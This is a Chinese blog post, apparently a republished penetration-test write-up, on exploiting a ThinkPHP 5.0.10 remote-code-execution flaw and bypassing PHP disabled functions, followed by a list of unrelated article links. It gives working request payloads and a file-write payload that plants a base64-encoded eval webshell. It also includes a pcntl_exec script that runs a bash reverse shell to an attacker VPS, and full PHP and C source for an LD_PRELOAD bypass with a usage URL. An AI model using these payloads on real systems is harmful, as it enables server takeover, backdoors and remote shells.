一次项目中Thinkphp绕过禁用函数的实战记录


Posted in PHP onNovember 17, 2021

前言

在一次渗透测试中,手工找了许久没发现什么东西,抱着尝试的心情打开了xray

果然xray还是挺给力的,一打开网页的时候xray直接就扫描出了thinkphp 5.0.10 rce漏洞

直接使用命令执行payload,结果报出system函数被禁用

s=whoami&_method=__construct&method=&filter[]=system

一次项目中Thinkphp绕过禁用函数的实战记录

尝试应用其他函数进行利用,经过测试发现call_user_func函数没有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函数被禁用了

一次项目中Thinkphp绕过禁用函数的实战记录

看到assert和include没有被禁用,一开始想写shell进日志然后去利用文件包含,发现并没有任何反应,也不报错。

file_put_contents

又回去看被禁用的函数,发现文件函数没被禁用,可以用file_put_contents函数去写文件
测试写入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

一次项目中Thinkphp绕过禁用函数的实战记录

写入成功

一次项目中Thinkphp绕过禁用函数的实战记录

写入冰蝎马可以进行文件管理了

一次项目中Thinkphp绕过禁用函数的实战记录

虽然可以进行文件操作了,但还是没法执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

pcntl_exec

想到了比较容易被忽略的命令执行函数pcntl_exec,发现pcntl_exec函数没有被禁用,该函数可以指定一个程序来执行指定文件

先写一个exe.php文件,在文件中指定pcntl_exec的参数(执行运行程序,运行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件写入反弹命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

浏览器访问exe.php成功反弹shell

一次项目中Thinkphp绕过禁用函数的实战记录

LD_PRELOAD 劫持

这次渗透是结束了,这里尝试了另外一种绕过方法,如果遇到pcntl_exec函数也被禁用的情况,可以利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。详细的原理介绍就不赘述了,可以参考这个大哥的文章https://www.meetsec.cn/index.php/archives/44/

这种方法主要是需要上传一个.php和一个由.c程序编译得到共享对象.so文件到服务器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三个参数:

  1. cmd 参数,待执行的系统命令(如 whoami)。
  2. outpath 参数,保存命令执行输出结果的文件路径(如 /www/wwwroot/public),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点。
  3. sopath 参数,指定劫持系统函数的共享对象的绝对路径(如 /www/wwwroot/bypass_disablefunc_x64.so),另外关于该参数,你应注意 web 是否可跨目录访问到它,最好也传到web根目录下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

这里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so将 bypass_disablefunc.c编译为共享对象 bypass_disablefunc_x64.so

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这里利用之前的文件管理冰蝎shell将php和so文件上传到服务器web目录
在浏览器访问bypass_disablefunc.php传入参数

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功执行命令

一次项目中Thinkphp绕过禁用函数的实战记录

总结

到此这篇关于一次项目中Thinkphp绕过禁用函数的文章就介绍到这了,更多相关Thinkphp绕过禁用函数内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
PHP学习 运算符与运算符优先级
Jun 15 PHP
PHP 文本文章分页代码 按标记或长度(不涉及数据库)
Jun 07 PHP
PHP编程函数安全篇
Jan 08 PHP
PHP截断标题且兼容utf8和gb2312编码
Sep 22 PHP
php循环创建目录示例分享(php创建多级目录)
Mar 04 PHP
浅析PHP文件下载原理
Dec 25 PHP
php常见的魔术方法详解
Dec 25 PHP
PHP实现过滤掉非汉字字符只保留中文字符
Jun 04 PHP
php生成0~1随机小数的方法(必看)
Apr 05 PHP
Yii框架分页实现方法详解
May 20 PHP
PHP 中TP5 Request 请求对象的实例详解
Jul 31 PHP
Laravel框架路由设置与使用示例
Jun 12 PHP
php修改word的实例方法
Nov 17 #PHP
PHP获取学生成绩的方法
Nov 17 #PHP
php去除deprecated的实例方法
Nov 17 #PHP
php去除数组中为0的元素的实例分析
Nov 17 #PHP
tp5使用layui实现多个图片上传(带附件选择)的方法实例
php png失真的原因及解决办法
Nov 17 #PHP
php实例化对象的实例方法
Nov 17 #PHP
You might like
PHP默认安装产生系统漏洞
2006/10/09 PHP
php简单实现查询数据库返回json数据
2015/04/16 PHP
PHP中4种常用的抓取网络数据方法
2015/06/04 PHP
jquery实现文字由下到上循环滚动的实例代码
2013/08/09 Javascript
jquery选择器之层级过滤选择器详解
2014/01/27 Javascript
jQuery DOM操作实例
2014/03/05 Javascript
nodejs下打包模块archiver详解
2014/12/03 NodeJs
node.js中的fs.truncate方法使用说明
2014/12/15 Javascript
BOOTSTRAP时间控件显示在模态框下面的bug修复
2015/02/05 Javascript
Kindeditor在线文本编辑器如何过滤HTML
2016/04/14 Javascript
jQuery插件AjaxFileUpload实现ajax文件上传
2016/05/05 Javascript
在Web项目中引入Jquery插件报错的完美解决方案(图解)
2016/09/19 Javascript
详解Node项目部署到云服务器上
2017/07/12 Javascript
mui上拉加载更多下拉刷新数据的封装过程
2017/11/03 Javascript
在LayUI图片上传中,解决由跨域问题引起的请求接口错误的方法
2019/09/24 Javascript
layui实现根据table数据判断按钮显示情况的方法
2019/09/26 Javascript
vue 返回上一页,页面样式错乱的解决
2019/11/14 Javascript
js构造函数constructor和原型prototype原理与用法实例分析
2020/03/02 Javascript
koa2 数据api中间件设计模型的实现方法
2020/07/13 Javascript
Vue自动构建发布脚本的方法示例
2020/07/24 Javascript
[01:06:54]DOTA2-DPC中国联赛 正赛 RNG vs Dragon BO3 第一场 1月24日
2021/03/11 DOTA
在Python下使用Txt2Html实现网页过滤代理的教程
2015/04/11 Python
python如何在循环引用中管理内存
2018/03/20 Python
python读文件保存到字典,修改字典并写入新文件的实例
2018/04/23 Python
python调用tcpdump抓包过滤的方法
2018/07/18 Python
Django中更改默认数据库为mysql的方法示例
2018/12/05 Python
Python多进程fork()函数详解
2019/02/22 Python
Python中字符串String的基本内置函数与过滤字符模块函数的基本用法
2019/05/27 Python
Jupyter加载文件的实现方法
2020/04/14 Python
CSS3效果:自定义“W”形运行轨迹实例
2017/03/29 HTML / CSS
芝加哥牛排公司:Chicago Steak Company
2018/10/31 全球购物
澳大利亚拥有最好的家具和家居用品在线目的地:Nestz
2019/02/23 全球购物
2015年师德师风承诺书
2015/01/22 职场文书
奖学金发言稿(范文)
2019/08/21 职场文书
python实现监听键盘
2021/04/26 Python
i7 6700处理器相当于i5几代
2022/04/19 数码科技